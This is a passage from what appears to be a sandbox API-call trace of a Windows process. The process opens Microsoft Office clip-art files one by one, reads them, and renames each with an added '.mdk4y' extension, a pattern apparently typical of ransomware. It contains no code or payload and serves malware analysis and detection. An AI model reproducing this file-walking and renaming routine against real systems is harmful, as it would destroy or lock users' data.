CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IN00919_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="IN00919_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0140.808] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0140.808] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821603800000) returned 1 [0140.808] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1b08, lpOverlapped=0x0) returned 1 [0140.809] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821603900000) returned 1 [0140.809] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821603900000) returned 1 [0140.810] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf.mdk4y")) returned 1 [0140.810] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0140.810] AreFileApisANSI () returned 1 [0140.810] GetACP () returned 0x4e4 [0140.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IN00956_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="IN00956_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0140.810] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0140.810] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821604000000) returned 1 [0140.811] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4e8, lpOverlapped=0x0) returned 1 [0140.962] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821619200000) returned 1 [0140.963] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821619300000) returned 1 [0140.963] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf.mdk4y")) returned 1 [0140.964] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0140.964] AreFileApisANSI () returned 1 [0140.964] GetACP () returned 0x4e4 [0140.964] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IN00957_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="IN00957_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0140.964] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0140.964] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821619400000) returned 1 [0140.964] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb80, lpOverlapped=0x0) returned 1 [0141.045] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821627500000) returned 1 [0141.045] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821627500000) returned 1 [0141.046] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf.mdk4y")) returned 1 [0141.046] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0141.046] AreFileApisANSI () returned 1 [0141.046] GetACP () returned 0x4e4 [0141.046] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="INDST_01.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="INDST_01.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0141.046] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0141.047] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821627700000) returned 1 [0141.047] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2178, lpOverlapped=0x0) returned 1 [0141.048] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821627800000) returned 1 [0141.048] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821627800000) returned 1 [0141.048] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.mdk4y")) returned 1 [0141.049] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0141.049] AreFileApisANSI () returned 1 [0141.049] GetACP () returned 0x4e4 [0141.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0075478.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0075478.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0141.049] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0141.064] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821629400000) returned 1 [0141.064] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4c4, lpOverlapped=0x0) returned 1 [0141.116] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821634600000) returned 1 [0141.116] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821634600000) returned 1 [0141.116] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif.mdk4y")) returned 1 [0141.117] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0141.117] AreFileApisANSI () returned 1 [0141.117] GetACP () returned 0x4e4 [0141.117] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0086384.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0086384.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0141.117] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0141.118] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821634800000) returned 1 [0141.118] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2606, lpOverlapped=0x0) returned 1 [0141.135] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821636500000) returned 1 [0141.135] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821636500000) returned 1 [0141.136] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf.mdk4y")) returned 1 [0141.137] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0141.137] AreFileApisANSI () returned 1 [0141.137] GetACP () returned 0x4e4 [0141.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0086420.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0086420.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0141.137] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0141.137] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821636700000) returned 1 [0141.137] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x257c, lpOverlapped=0x0) returned 1 [0141.242] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821647200000) returned 1 [0141.242] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821647200000) returned 1 [0141.243] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf.mdk4y")) returned 1 [0141.243] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0141.243] AreFileApisANSI () returned 1 [0141.243] GetACP () returned 0x4e4 [0141.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0086424.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0086424.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0141.243] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0141.244] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821647400000) returned 1 [0141.244] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4278, lpOverlapped=0x0) returned 1 [0141.264] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821649400000) returned 1 [0141.265] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821649500000) returned 1 [0141.266] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf.mdk4y")) returned 1 [0141.267] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0141.267] AreFileApisANSI () returned 1 [0141.267] GetACP () returned 0x4e4 [0141.267] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0086426.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0086426.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0141.267] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0141.267] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821649700000) returned 1 [0141.267] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5516, lpOverlapped=0x0) returned 1 [0141.278] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821650800000) returned 1 [0141.278] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821650800000) returned 1 [0141.278] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf.mdk4y")) returned 1 [0141.279] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0141.279] AreFileApisANSI () returned 1 [0141.279] GetACP () returned 0x4e4 [0141.279] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0086428.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0086428.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0141.279] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0141.280] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821651000000) returned 1 [0141.280] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8a12, lpOverlapped=0x0) returned 1 [0141.281] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821651100000) returned 1 [0141.281] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821651100000) returned 1 [0141.281] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf.mdk4y")) returned 1 [0141.282] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0141.282] AreFileApisANSI () returned 1 [0141.282] GetACP () returned 0x4e4 [0141.282] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0086432.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0086432.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0141.282] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0141.282] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821651200000) returned 1 [0141.282] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x829a, lpOverlapped=0x0) returned 1 [0141.283] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821651300000) returned 1 [0141.283] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821651300000) returned 1 [0141.284] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf.mdk4y")) returned 1 [0141.301] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0141.301] AreFileApisANSI () returned 1 [0141.301] GetACP () returned 0x4e4 [0141.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0086478.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0086478.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0141.301] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0141.302] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821653200000) returned 1 [0141.302] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x375e, lpOverlapped=0x0) returned 1 [0141.330] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821656000000) returned 1 [0141.330] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821656000000) returned 1 [0141.331] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf.mdk4y")) returned 1 [0141.331] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0141.331] AreFileApisANSI () returned 1 [0141.331] GetACP () returned 0x4e4 [0141.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0089945.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0089945.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0141.332] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0141.332] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821656200000) returned 1 [0141.332] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4dba, lpOverlapped=0x0) returned 1 [0141.349] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821657900000) returned 1 [0141.349] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821657900000) returned 1 [0141.349] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf.mdk4y")) returned 1 [0141.350] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0141.350] AreFileApisANSI () returned 1 [0141.350] GetACP () returned 0x4e4 [0141.350] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0089992.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0089992.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0141.350] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0141.351] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821658100000) returned 1 [0141.351] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3d40, lpOverlapped=0x0) returned 1 [0141.369] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821659900000) returned 1 [0141.369] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821659900000) returned 1 [0141.372] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf.mdk4y")) returned 1 [0141.372] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0141.372] AreFileApisANSI () returned 1 [0141.372] GetACP () returned 0x4e4 [0141.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0090027.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0090027.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0141.373] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, 